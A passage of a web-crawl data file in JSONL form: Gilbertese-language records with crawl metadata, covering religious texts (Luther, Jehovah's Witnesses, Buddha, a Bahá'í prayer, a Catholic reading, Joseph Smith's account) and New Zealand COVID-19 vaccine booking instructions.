1.0000100135803223}","num_words":819,"character_repetition_ratio":0.041,"word_repetition_ratio":0.02,"special_characters_ratio":0.22,"stopwords_ratio":0.368,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E bungiaki n 10 Nobembwa 1483, i Tiaman. E reirei n te Reirei ae Rietaata ae te Iuniwetiri of Erfurt ao Wittenberg. E kanimwi 95 iango ake e koroboki iaon mataroan te Castle Church ibukin rawana n reirei n te Aro ni Katorika n Rom, ni ikotaki ma te bwai ae a kakaraoia n tuangiia aomata bwa a na kabwaka mwane ibukin kabwaraan aia bure.\nE mate n 18 Beberuare 1546.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/gil\/Martin_Luther","date":"2021-10-23T15:45:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585696.21\/warc\/CC-MAIN-20211023130922-20211023160922-00096.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":66,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a tibwa manga tei aia botaki Ana Tia Kakoaua Iehova ni boong aikai, n te ririki 1870 tabun. N te moan tai, a aranaki bwa Taan Reirei n te Baibara. Ma n 1931, a bwaina te ara man te Baibara, ae Ana Tia Kakoaua Iehova. E a rikirake man te botaki ae uarereke, n riki bwa te botaki ae bubura, ae kaaina, bon Taani Kakoaua aika mirion ma mirion mwaitiia, aika a tabe n tataekina te rongorongo n aaba aika a raka riki mwaitiia nakon 230.\nAngin ekaretia, a botaki n te Maneaba n Uea teuana.\nKautun aia botaki Ana Tia Kakoaua Iehova n te aonnaba, e mena i Nu Iaoki.\nRikirakeia n Taai Aikai[edit | edit source]\nA moan waaki Ana Tia Kakoaua Iehova n taai aikai, tebubua tabun te ririki n nako. N 1870 tabun, iai te korakina ae uarereke mwaitiia ake a moanna n reirei n te Baibara, i Allegheny Pennsylvania, U.S.A., are e a reke ngkai n te aono ae Pittsburgh. Charles Taze Russell are e korakora riki ana mwakuri ibuakon te koraki anne. N Turai 1879, e moan boretiaki te maekatin ae te Zion's Watch Tower and Herald of Christ's Presence. Imwain 1880, a mwaiti ekaretia ake a rikirake man te reirei n te Baibara ae uarereke anne, ao a butanako n aono ake irarikin Pennsylvania. N 1881, e kateaki te botaki ae Zion's Watch Tower Tract Society, ao e riki bwa te botaki ae kinaaki i aan tuan te aba n 1884, are e a beretitenti iai Russell. Imwina riki, e a bitaki aran te Totaieti nakon te Watch Tower Bible and Tract Society. A mwaiti aomata ake a kaotioti man te auti teuana nakon te auti teuana ma n tibwai booki aika a kabwarabwara te Baibara. Nimangaun aomata ake a karaoa anne ni kabwanina aia tai iai n 1888—ao ngkai, mwaitiia aomata ake a karaoa aei ni katobibia te aonnaba, e a roko n te mwaiti ae tao 700,000.\nAia Koaua Ana Tia Kakoaua Iehova[edit | edit source]\n- Te Baibara bon ana Taeka te Atua ao e koaua\n- E onimakinaki riki te Baibara nakon katei nikawai\n- Aran te Atua bon Iehova\n- Kristo bon Natin te Atua ao e mangori riki Nakoina\n- Kristo bon ana moani karikibwai te Atua\n- E mate Kristo i aon te kai, ao tiaki te kaibangaki\n- Maiun Kristo n aomata e kabwakaki, bwa boon te kaboomwi ibukia aomata aika ongeaba\n- E bon tau ana karea Kristo ae tii teuana\n- E kautaki man te mate Kristo bwa te aomata ae te taamnei ae e aki-mamate\n- E mena irarikia aomata Kristo n arona n taamnei\n- Ti a mena ngkai i nanon 'tain te toki'\n- Te Tautaeka n Uea ae kairaki iroun Kristo e na tautaekana te aonnaba n te raoiroi ma te rau\n- Te Tautaeka n Uea e na uota te maiu ae kororaoi nakon te aonnaba\n- E na bon aki kamaunaki te aonnaba, ao a na aki kamaunaki aomata ni kabaneia mai i aona\n- Te Atua e na kamauna te waaki ae ngkai n te buaka ae Aremaketon\n- A na kamaunaki n aki manga kamaiuaki aomata aika buakaka\n- Aomata aika a tangiraki iroun te Atua a na anganaki te maiu are aki toki\n- Bon tii teuana te kawai nakon te maiu\n- A mate aomata ibukin ana bure Atam\n- Akea te bwai ae maiu nako naba imwin maten te aomata\n- Moone, bon ruanimateia aomata\n- E kaantaningaki te manga-uti ibukia maate\n- E na toki te mate are e a reke mairoun Atam\n- Bon tii te nanai ae uarereke ae 144,000 mwaitiia ake a na nako karawa ma n tautaeka ma Kristo\n- A manga bungiaki kaain 144,000 bwa natin te Atua n taamnei\n- E karaoaki te berita ae boou ma te Iteraera n taamnei\n- Ana ekaretia Kristo e kateaki ibon i aona\n- E na tataro te aba nakon Iehova n tii ngaia, rinanon Kristo","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/gil\/Ana_Tia_Kakoaua_Iehova","date":"2021-10-23T15:43:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585696.21\/warc\/CC-MAIN-20211023130922-20211023160922-00102.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":628,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE OIN TE AKI TATABEAKIN\nKakaokoron mwaitin taian taetae n neewe a kunea te taetae n teuana te taetaenikawai, ao kakaokoron mwaitin kanoan kamiimi aika a raba a kaotaki n te anene teuana; ma e ngae n anne, bon akea te taninga are e na ongo, te nano are e na ataia.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=20403170&to=gil","date":"2021-10-17T09:55:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585171.16\/warc\/CC-MAIN-20211017082600-20211017112600-00246.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":53,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.453,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 27 Kaabong\nWarekan ana Boki te burabeti ae Maraki. 3:13-30\nE kangai te Atua: A matoatoa ami taeka ni bukinai. Ao kam taku: \"Tera ara taeka ae ti bukiniko iai?\" Kam kangai: \"Akea manen te toro iroun te Atua; ba tera arora ae reke ngkai ti kawakin ana tua, ao ngkai ti nakonako n nanokawaki i matan uean aonaba? Ti taku ba a kabaia tani kainikatonga: a reke aroia akana karaoa ae buakaka; a kata te Atua, ao a bon rau.\" Ma a taetaenikawai akana maka te Atua. E ongora te Atua, ao E ongo; ao koreaki te boki i matana, i bukia akana maka te Uea ma ni karinea arana. E kangai Uean aonaba: \"A na riki ba oin au bai n te bong ae I tabe ni iangoia. N na nanoangaia, n ai aron te karo ae nanoanga te nati ae beku i bukina. Ao kam na manga ata okoron te raoiroi ma te buakaka, ao okoron ane toro iroun te Atua ma ane aki. Ba ae nangi roko te bong ae kabuebue n ai aron te ai; ao a na riki ba ai aron te mange tani kainikatonga ma tani buakaka, ao e na kabuokiia te bong arei, n akea nikiraia te waka ke te manga. Ma, ngkami aika kam karinea arau, e na oti i bukimi taai ae te eti, ao e kakamaiu riringana.\"\nTe Taramo 1: 1-4, 6\nKaekana: A kabaia akana onimakina te Uea.\nE kabaia te aomata ae aki irarang Irouia akana buakaka,\nAe aki toua kawaia tani bure, Ae aki raonia tani kakaniko,\nma e kukurei n ana tua te Uea, Ae mamanewea ana tua ni ngaina ao ni bong. K.\nE kakatonga te kai ae unikai, I etani karanga,\nAe anga uana n taina; A aki rarai bana,\nA materaoi ana makuri nako. K.\nTiaki aroia akana buakaka, tiaki aroia! Ba a katotonga te mange, Ae ubara nako n te ang.\nBa E kawakini kawaia akana raoiroi te Uea, ma e bua kawaia akana buakaka. K.\nAlleluia, alleluia.\nI onimakina te Uea, I kakoaua ana teaka. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka. 11:5-13\nE taku Iesu nakoia ana reirei: \"Aongkoa iai temanna iroumi ae iai raraona, ao e kawaria n te nukanibong ni kangai nakoina: 'Raou, N na tangoi am bwerena tenua, ba e roko raou temanna ni kawaina, ao akea au nikira nakoina.' Ao aongkoa e kangai teuarei mai nanon ana auti: 'Tai kumeai, ba e in te mataroa, ao I a wene, ngai ma natiu: I aki kona n teirake n anganiko.' I bon tuangingkami, ba ngkana e aki teirake n anganna, ngkai bon rona, ao e na bon teirake i bukin ana imanono, ao e na anganna baika e kainano iai ni kabane. Ao Ngai I taku nakoimi: bubuti, ao kam na anganaki; ukeuke, ao e na rekre iroumi; karebwerbwe, ao e na kaukaki nakoimi. Ba ane bubuti, ao e na anganaki; ane ukeuke, ao e na reke irouna; ane karebwerebwe, ao e na kaukaki naoina. Antai te tama iroumi ae na angan natina te atibu ngkana e butia te bwerena? Ke tao e na anganna te naeta ngkana e bubuti te ika? Ke tao te tikaobian ngkana e bubuti te bunnimoa? Ngkai kam atai baika raraoi n angania natimi, ngkami aika kam buakaka, ao ai batira riki nanon Tamami are i karawa ni kan anga te Tamnei ae Raoiroi nakoia akana butia.\"\nTibatiba: Nei Maria ae Uean te Rotario tataro ibukira\nTi reitaki ni karaba te Uea n ana kakawakin nakoira ni kabane ngkai e karokoira n te namakaina ae Okitoba are bon ana namakaina Nei Maria ao ai moarara riki ibukin te bong aio are bon ana toa Nei Maria ae Uean te Rotario.\nTi kakoaua ba e bati te ingainga ao te kakatauraoi imain te bong aio, ao e bon tannako te Baeriti (parish) teuana ma teuana n aron ana bukamaru ni karaoa aia nebo ao aia kukurei ni kaota aia akoi ma aia tangira nakon tinaia Nei Maria ae Tinan Te Atua. Aio bon reitan ana katei te Ekaretia ke irouia te nati ni Katorika i aonnaba ni kabuta ba te karabaraba nakon te Atua ae tamara ibukin taian tokanikai ake a noraki ao man kakoauaki imuin te tataro ke kabonganan te korona ke te rosary. E moanaki te katei ao te toa aio inanon te ririki 1573, ngke e tabangaki karaoan te tataro n te korona iaon Eurobe ibukin te buaka (war) ni kataraia Kiritian ao riki te Ekaretia Katorika iroun aro ni Muslim. N te bong ae 7th Okitoba 1573 ao e kamatoa Bobe Pius V ba e na moanaki te toa aio ngke e a tokanikai ana tanga ni buaka Eurobe ni kaitara te Muslim are e kakoauaki ba e bon reke man te tataro ao kabongan te korona.\nTi bon uringa naba te Tama ae St. Tominiko are bon ngaia te moan aomata are e moan anganaki man rereiaki te korona iroun Nei Maria n te ririki 1206 n te kawa ae Pouille i Buranti ibukin buokaia bekan ba a na rairaki nakon te koaua ae ti teuana ae te Ekaretia Katorika. E bon anganaki St Tominiko aron kabongana iroun Nei Maria inanon te mii, ao e tuangaki ba te korona bon ti ngaia te bai ni buaka ae makaroiroi ni kaitarai makuri buaka ao makuri ni kaitara te onimaki ni Katorika ake bon ana makuri te riaboro.\nTi kauringaki naba n te bong aei ba kabonganan te korona e na bon buokira ni kananoa nanon taian miterio ake ti kamaeuaki iai. Bon reitan rongorongon te kamaeuaki man te boki ae tabu are e boboto iaon bungian, maten ao mangautin ara Uea ao ara tia kamaeu ae Iesu Kristo. Kakaraoan naba te Korona n tainako bon reitan ao raonakin tinara Nei Maria inanon miterio aika a rangi ni kakawaki man tabu aikai. Bon te tataro ae rangin bebete karaoana ma e bubura uaana nakoim ao nakon te aonnaba. E neboaki iai te Atua Te Teniman Temanna rinanon Nei Maria ao e anganira te onimaki ba inanon ara tai n tataro n te korona ao bon Iesu ao tinana ae Nei Maria a bon raonira inanon kukureira, rawawatara ao kainnanora n tai nako. E bon kangai ana taeka tinara Nei Maria ba \"natiu ake a teimatoa n anga ngaia ao ni kaburei maeuia inanon te korona a na bon aki kona ni bua ao man reke n te kanganga ke ni mate.\"\nAra bubuti nakon tinara ae Nei Maria ba e na kabatia ana akoi nakoira ma ara utu inanon ana namakaina aio ao riki ni bongin ana toa ae moan te kakawaki ibukira nte bong aio ba e na rikirake tangiran ao ara kakaonimaki nakon te Atua.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1682-tibatiba-nei-maria-ae-uean-te-rotario-tataro-ibukira","date":"2021-10-16T23:14:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00436.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1109,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.379,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E bungiaki n 563 B.C. te mataniwi n Hindu i Nepal. E tabeaianga nanona n te karawawataaki are e nooria i rarikina. E kitana ana baareti tamana ae tikiraoi, e katanoata nakon te aonaaba bwa e nang aki manga riki bwa te mataniwi, ao e maiu ni kainnano. E ukeukeri aeka n rabakau nako, ao e kunea te bwai ae aranaki irouna bwa te \"kawai nakon te kamaiuaki.\" E taekinna bwa e na kawara Nirvana, n te aro bwa e na aki mwaninga aron tabeakinana, te maraki, ke aron bwaai aika ririki. E riki bwa te tia reirei irouia kaain te kurubu n tama.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/gil\/Buddha","date":"2021-10-23T13:18:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585696.21\/warc\/CC-MAIN-20211023130922-20211023160922-00202.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":103,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.485,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te burabeti ae Iotebwa Timiti n oin ana taeka ni kaineti ma reken Ana Boki Moomon, bon:\n\"N tairikin te … kauabwi ma teuana ni bong n te namwakaina ae Tebetembwa [1823] … I a tataro ao n onnon nakon te Atua ae Moan te Mwaaka. …\n\"I nanon au tai ni wewetea te Atua, I a noora te oota ae kaoti i nanon au ruu, ae tabe n rikirake ni karokoa ae e a raka riki ootan te ruu nakon ootan te tawanou, ao ngkekei naba ao e a kaoti te aomata i rarikin au kainiwene, n taarere waena, bwa a aki toko waena ma aontano.\n\"E kunnikainna n te niinira ae mwaawa ma n raka mainainana. E riao mainainana nakon mainainan bwaai aika I a tia n noori iaon te aonaba; ao I kakoaua bwa bon akea te bwai teuana n te aonaba ae kona ni karaoaki are e na raka riki mainainana ke raneaneana. Akea rabunan rauraun baina, ao baina naba, i etan touni baina; ai arona naba ma waena akea rabunaia, ai aron naba rangana, i etan nimoimoin waena. A bon aki karabaki naba roroana ma atuuna. I noria bwa akea riki kunnikaina ma ti te niinira aio, ibukina bwa e uki, n te aro are I kona n noora bwabwana.\n\"Tiaki ti ana niinira ae moan te mainaina, ma rabwatana ni kabane e mimitong n te aro ae e aki kona ni kabwarabwaraki, ao taraan ubuna bon titebo ma itin te baa. E rangi n oota te ruu, ma e aki bootau ma te oota are katobibiaki rabwatana iai. Ngke I moan taraia, I maaku; ma e waekoa ni kitanai te maaku.\n\"E weteai n arau, ao e tuangai bwa bon ngaia te tia uarongorongo are e kanakoaki mai iroun te Atua nakoiu, ao arana bon Moronaai; bwa iai au mwakuri ae N na karaoia mai iroun te Atua; ao e na riki arau bwa taekan te raoiroi ao te buakaka i buakoia ni kabane aaba, reeti, ma neewe, ke n tei ibukin te raoiroi ma te buakaka are tataekinaki i buakoia aomata ni kabane.\n\"E taku bwa iai te boki ae taunaki, are koreaki iaon bwaatua aika koora, are taekinaki iai rongorongoia aomata ake a maeka iaon te aba aio n taai ake ngkoa, ao te tabo are a roko mai iai. E taekinna naba bwa e koreaki i nanona bwaninin te Euangkerio ae e aki totoki, n aron taekinakina iroun te Tia Kamaiu nakoia kaain te aba aio n taai ake ngkoa;\n\"Iai naba atibu aika uoua aika kabaeaki rarikiia n te tirewa—ao atibu aikai a kabaeaki nakon otangan te bwabwa, ao a karika te bwai ae aranaki bwa te Urim ao te Tammim—ae a taunaki ma taian bwaatua; ao a aranaki aomata ake iai irouia ao a kabonganai atibu aikai bwa 'taan mamata' n taai ake ngkoa ke taai ake rimoa; ao e a tia te Atua ni katauraoi ibukin rairan te boki. …\n\"Ao e a manga tuangai riki bwa n te tai are a reke iai bwaatua irou ake e a tia n taekin—ma e tuai moa n roko te tai are a na karekeaki iai—N na riai n aki kaoti nakoia aomata; ke te otanga naba are iai te Urim ao te Tammim iai; ma ti nakoia ake I a tia n tuangaki bwa N na kaoti nakoia; ngkana I kaoti ao N na kamaunaki. Ngke e tabe n taetae nakoiu n taekin taian bwaatua, ao e a kaukaki au iango n te mii ni burabeti are I a kona iai n noora te tabo are a taunaki iai taian bwaatua, n te aro ae moan te oota ma ni maataata are I a bon ataa iai te tabo arei ngke I a roko iai.\n\"I mwin te marooro aio, ao I noria bwa e a katobibiaki rabwatan te aomata are taetae nakoiu, n te oota are e mena i nanon te ruu, ao e a waaki rake ni karokoa ae a manga roo nanon te ruu, ma ti rarikina n oota; ao, ngkekei naba I a noria bwa, ai aron, e a uki te kawai nako karawa, ao e a waerake ni karokoa ae e mauna, ao e a okira arona te ruu n arona are i mwaain rokon te oota mai karawa\n\"I a wene n iangoa kamiimin te bwai are e a tia n riki, ao ni korakora miimiiu ni bwaai ake a tia n taekinaki nakoiu iroun te tia uarongorongo ae raka ni kamimi aio; ao i nanon au tai n iango, I a noria bwa e a manga moanna naba n oota nanon au ruu, ao n te tai ae waekoa, e a manga kaoti riki te tia uarongorongo are mai karawa i rarikin au kainiwene.\n\"E waaki, ao e a manga taekin riki bwaai ake e a tia n taekin ni moan rokona, n akea kaokorona; ngke e tia ao e a taekin motikitaeka aika korakora ake a na roko nakon te aonaba, ma te kananoanga ae korakora man te rongo, te kabaang, ma aoraki aika kamamate; ao a na roko motikitaeka aika rawawata aikai i aon te aonaba n te roro aio. Ngke e tia n taekin bwaai aikai, e a manga waerake naba nako karawa n aron are karaoia mai mwaaina.\n\"N te tai aio ao a bon rin bwaai aikai n au kaantaninga, n te aro are a aki matu matau, ao I a wene n rootaki n te miimi ni bwaai ake I a tia n noori ao n ongo. Ma I a bon rangi ni kubanako riki ngke I a manga noora riki te tia uarongorongo arei i rarikin au kainiwene, ao ni manga ongo riki mai irouna kaokan ke manga taekinan riki nakoiu bwaai ake e a tia n taekin mai mwaina; ao n irianna ma te kauring nakoiu, n tuangai ae ane e na kataia ni kaririai Tatan (ibukin aron maiuia ni kainnano ana utu tamau), bwa N na karekei taian bwaatua bwa I aonga ni kaubwai mai iai. Aio are e a tuangai bwa N aki karaoia, ma n taku bwa a na akea te iango riki teuana ae e na rin n au kaantaninga ibukin karekean taian bwaatua ma ti ibukin mimitongin te Atua, ao N na aki kairaki n te iango riki teuana ma ti ibukin katean ueana; ngkana I aki N na aki kona ni karekei.\n\"I mwin kateniuan rokona, e a manga waerake riki nako karawa n aiaron are mai mwaina, ao I a manga tiku naba n iangoa aron kamiimiin te bwai are I a tibwa tia n rinanona; ao e aki maan i mwin waeraken te tia uarongorongo mai karawa aio mai irou n te kateniua n tai, ao e a tang te moa, ao I kunea bwa e kaani ngaina, bwa ngaia ara maroro e a ngaina ngainana.\n\"E aki maan ao I a teirake man au kainiwene, ao, n aron ae I tataneiai iai, I a waakin karaoan au beku ake a riai; ma ngke I kataia ni karaoi au beku n aron are I kakaraoi mai mwaaina, I a kunea bwa I a bon rootaki n te kua ae korakora n te aro are I aki kona ni karaoa te bwai teuana. E noria tamau, are e mwakuri irarikiu, bwa iai te bwai ae riki nakoiu ao e tuangai bwa N na oki nakon te auti. I a moana mwanangau ni kaineta te auti; ma, ngke I kataia n riaon te oo n otinako man te tabo n ununiki are ti mena iai, ao e a kitanai korakorau ni kabane, ao I a bwaka nako aontano n akea te bwai ae I kona ni karaoia, ao I aki ataa te bwai ae riki i nanon te tai ae aki maan.\n\"Te bwai are I moan uringnga bon te bwana are taetae nakoiu, are weteai n arau. I tararake ao I nora te tia uarongorongo naba arei n tei i etan atu, ni katobibiaki n te oota n aron are mai mwaaina. E a manga taekin riki bwai ake e a tia n taekin nakoiu n te tairiki are mai mwaaina, ao e tuangai bwa N na nakon tamau ao n tuangnga taekan te mi ni burabeti ao tua ake I a tia ni karekei.\n\"I ongeaba nako iai; I okira tamau are mena n te tabo n ununiki ao I taekin bwaai ni kabane nakoina. E kaeka nakoiu bwa bon mai iroun te Atua, ao e tuangai bwa N na nako ao ni karaoa are e a tia n tua te tia uarongorongo. I kitana te tabo n ununiki, ao I nako ni kawara te tabo are e tia n tuangai te tia uarongorongo bwa a taunaki iai taian bwaatua; ao ibukina bwa e rangi n teretere raoi te mi ni burabeti are reke irou ni kaineti ma ngaia, ao I waekoa ni kinaa te tabo arei n te tai are I roko naba iai.\n\"Ni kaan ma te kaawa aeManchester, n te aono ae Ontario, i New York, ao iai te tabuki teuana ae rangi ni bubura, ao e rietata riki nakon taian tabuki ake i rarikina. I maeaon te tabuki aio, n aki raroa mai taubukina, i aan te atibu ae rangi ni bubura, a wene iai taian bwaatua, i nanon te bwaoki ae te atibu. E matenten te atibu aio ma ni mron taubukina ni iterana are mai i eta, ao ni mmani nako mangeena, ngaia are e ti nooraki taubukina i aontano, ma mataniwiina ni katotobia e taunaki n te tano.\n\"Ngke I a tia ni kanakoa te tano, ao I a karekea te kai are N na ietia iai, are I a karinna i aan mataniwiin te atibu, ao I a ietia ma te korakora ae tau. I tara nanona, ao I a bon noori taian bwaatua, te Urim ao te Tammim, ao te otanga, n aron are taekinaki iroun te tia uarongorongo. E karaoaki te bwaoki are a wene i nanona n taian atibu aika katomaki n te bwai ae titebo ma te timanti. I kabin te bwaoki ao a kaweneaki iai uoua atibu aika wene ni bangaki, ao i aon atiibu aikai are a wene iai taian bwaatua ma bwaai riki tabeua irarikiia.\n\"I kataia ni kaotinakoi, ma I aki kariaiakaki iroun te tia uarongorongo, ao I manga tuangaki riki ae e tuai n roko tain kaotakiia, ao e na aki roko taina, ni karokoa aua te ririki man te tai arei; ma e tuangai bwa N na riai ni kawara te tabo arei teuana raoi te ririki man te tai aei, ao e na kaitibo ma ngai ikekei, ao N na riai ni kakaraoa aio ni karokoa are e roko te tai are N na anganaki iai taian bwaatua.\n\"N aron are I a tia n tuangaki, I a nanako ikekei ni katoa banen te ririki, ao ni katoa tai I kaitibo ma te tia uarongorongo arei ikekei, ma ni karekei kaetieti ma te atatai mai irouna ni katoa tain ara maroro, ni kaineti ma bwaai ake e na karaoi te Uea, ao e na kanga ao tera aron waakinan ueana ni boong aika kaitira. …\n\"N tokina e a roko te tai are N na karekei iai taian bwaatua, te Urim ao te Tammim, ao te otanga. Ni bongin Tebetembwa ae uabwi ma uoua, te ngaa wanibubua uabwi ma itiua, ngke I a tia n roko n te tabo are a taunaki iai n aron ae I taneiai iai n tokin te ririki teuana, ao e a anganai te tia uarongorongo mai karawa arei te kaetieti aio: bwa N na riai n onimakinaki ibukiia; bwa ngkana I kabuai ibukin au aki tararua, ke ibukin au aki tarabwai, N na motikaki roou; ma ngkana I kabanea korakorau ibukin kaawakinaia, ni karokoa ae e roko, ngaia te tia uarongorongo, bwa e na anai, ao a na bon kawakinaki raoi.\n\"E aki maan i mwina ao I a ataa bukin matoan taian kaetieti ake I anganaki ibukin tararuakia, ao bukin tera ngkai te tia uarongorongo e taekinna bwa ngkana I tia ni karaoa te mwakuri are kainnanoaki mai iroun ao e na roko n anai. Bwa i mwin te tai are e ataki naba iai bwa a mena irou, ao a korakora mwakuri ake a wakinaki ibukin anakia mai irou. A bane ni kabonganaki aanga ake a kona ni iangoaki ibukin te mwakuri aio. Te bwainikirinaki e rikirake ni kammaraki ma ni korakora nakon are mai mwaaina, ao a mwaiti botanaomata ake a tatauraoi n taai nako bwa a na anai mai irou ngkana a kona. Ma ni wanawanan te Atua, ao a teimatoa manoia n tikuia i nanon baiu, ni karokoa ae I tia ni katiai mai iai bwai ake a kantaningaki mai irou. Ngkanne, n aron te boraraoi, e a roko te tia uarongorongo bwa e na anai, ao I anganna; ao a mena i an ana tararua ni karokoa te bong aio, ae uoua ni Meei, tenga wanibubua tenibwi ma waniua.\"\nIbukin te rongorongo ae bwaninin riki, noora Iotebwa Timiti—Rongorongo i nanon Te Bwaeao ae Bati Bona.\nTe rongorongo ni kawai ae karekeaki mai aontano bwa bwanaia te botanaomata ae a taetae man te bubu, ao e rairaki nakon te taetae n taai aikai man ana bwaintutuaraoi ao mwaakan te Atua ma n taekinaki koauana mai karawa, ao e moan boretiaki nakon te aonaba n te Ingiriti n te ririki 1830 bwa The Book of Mormon (Ana Boki Moomon).","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/bofm\/js?lang=gil","date":"2021-10-27T19:00:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323588242.22\/warc\/CC-MAIN-20211027181907-20211027211907-00222.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2235,"character_repetition_ratio":0.063,"word_repetition_ratio":0.001,"special_characters_ratio":0.233,"stopwords_ratio":0.471,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko na kanga ni kabaea aram iaonrain\nKabaea aram iaon Book My Vaccine (external link) ae ngaia te kabanea n tawe ibukin kabaean aram ibukin te iti n totoko.\nNgkana e tuai ni roko am tai ni kabae ara, ko kona n retitita (register) n te aro are ti kona ni kaongoko ngkana e boo am tai ni kabae ara.\nE na nakon 5 te miniti te tai ni kabae ara iaonrain.\nNgkana iai am kanganga ibukin kabaean aram ke ko kainnanoa bitakin rongorongom, ko kona ni imeeri nakon te tiim n Book My Vaccine.\nKo na kanga ni kabaea aram iaon te tarebon\nKo kona ni kabaea aram iaon te tarebon n tarebonia te COVID Vaccination Healthline iaon 0800 28 29 26.\nA bane n aki kaboaki taian tarebon, ao e tauraoi te tiim man te aoa 8am (ingabong) nakon te aoa 8pm (tairiki), 7 te bong n te wiki. Ko kona n tuatua ibukin te tia kabwara taeka ngkana ko kainnanoia.\nTera ae kona kantaningaia ngkana ko tarebon\nTao kona bae n tataninga teutana imwain are e kaekaki am tareboon, ibukin taben taian rain — taiaoka am taotaona n nano. Ngkana e kaekaki am tarebon, e na nakon 15 te miniti kabaean aram ao am tai.\nNgkana ko tarebon, ao e na rangi ni ibuobuoki ngkana e tauraoi am NHI (National Health Index) nambwa iroum. E na tawe riki iai butin te kabae ara. Ko kona ni kunea am NHI nambwa iaon am beba ni bwainaoraki, am beba ni kataratara (x-ray) ke mwin am tutuo, ke te reta man te onaoraki.\nKo na kanga ni bita am tai are e a tia ni bae\nNgkana ko kainnanoa bitakin am tai ke ko kan kamauna am tai ae e a tia ni bae\n- Ko kona ni karaoi aika iaon Book My Vaccine (external link)\n- Tarebonia te COVID Vaccination Healthline iaon 0800 28 29 26\nNgkana ko aoraki imwain am tai are e a tia ni bae\nNgkana ko aoraki n te bong are ko a tia ni kabaea, ko na riai ni bita am tai. Ko kona ni itinaki n te iti n totoko ngkana ko a marurung.\nNgkana a reke iroum kanikinaean te COVID-19, karaoa am tutuo ao tiku ni mwengam ni karokoa e roko muin an tutuo. Ko kona n itinaki n te iti n totoko ngkana e raoiroi muin am tutuo.\nKawai riki tabeua ibukin karekean te iti n totoko\nIai riki kawai tabeua ibukin karekean te iti n totoko ibukia aomata irarikin are kabaean aia tai. Ni ikotaki ma karekean te iti n totoko n tabo ni mwakuri ao a kona naba n reke ni bobotaki ake a karaoaki n tabanagaki iaon Nutiran.\nIbukin tabo ake a tionako man kawa, ana bane ni itinaki n te iti n totoko roro nako n te tai ae ti teuana ibukin kabebeteaia.\nN aia tabo n tutuo Taokita (General Practitioner)\nAngia taokita a tauraoi n anga te iti n totoko ibukin COVID-19 ao ni bon karaoa aia kabae ara iboni irouia. Nora te uebutiati ae Healthpoint ni kakaea ngkna am te taokita e tauraoi n anga te iti n totoko.\nKo na kanga ni bubuti karekean moantaim ni itinaki n te iti n totoko\nKo na kona ni itinaki ni moantaai ngkana kona mwangana nako tinaniku ibukin te tangira aomata ke mwanangam ae kakawaki ibukin te aba.\nNgkana ngkoe te tia mwakuri n tian te aba ke tabo ni kaonoti ake a tararuaki (MIQ)\nA riai ngkai ni bane ni itinaki n te iti n totoko ibukin te COVID-19 tan mwakuri n tian te aba ao tabo ni kaonoti ake a tararuaki ao quarantine (MIQ).\nTina kamatoai rongorongom ake a kawakinaki muia iroura ao am tia kammwakuri, ao tia manga reitaki nakoim ibukin kabaean am tai ni itinaki n te iti n totoko.\nAna riai naba n rin rongorongom n te reititita (register) ibukin tuoaia tan mwakuri n tian te aba (Border Workforce Testing Register 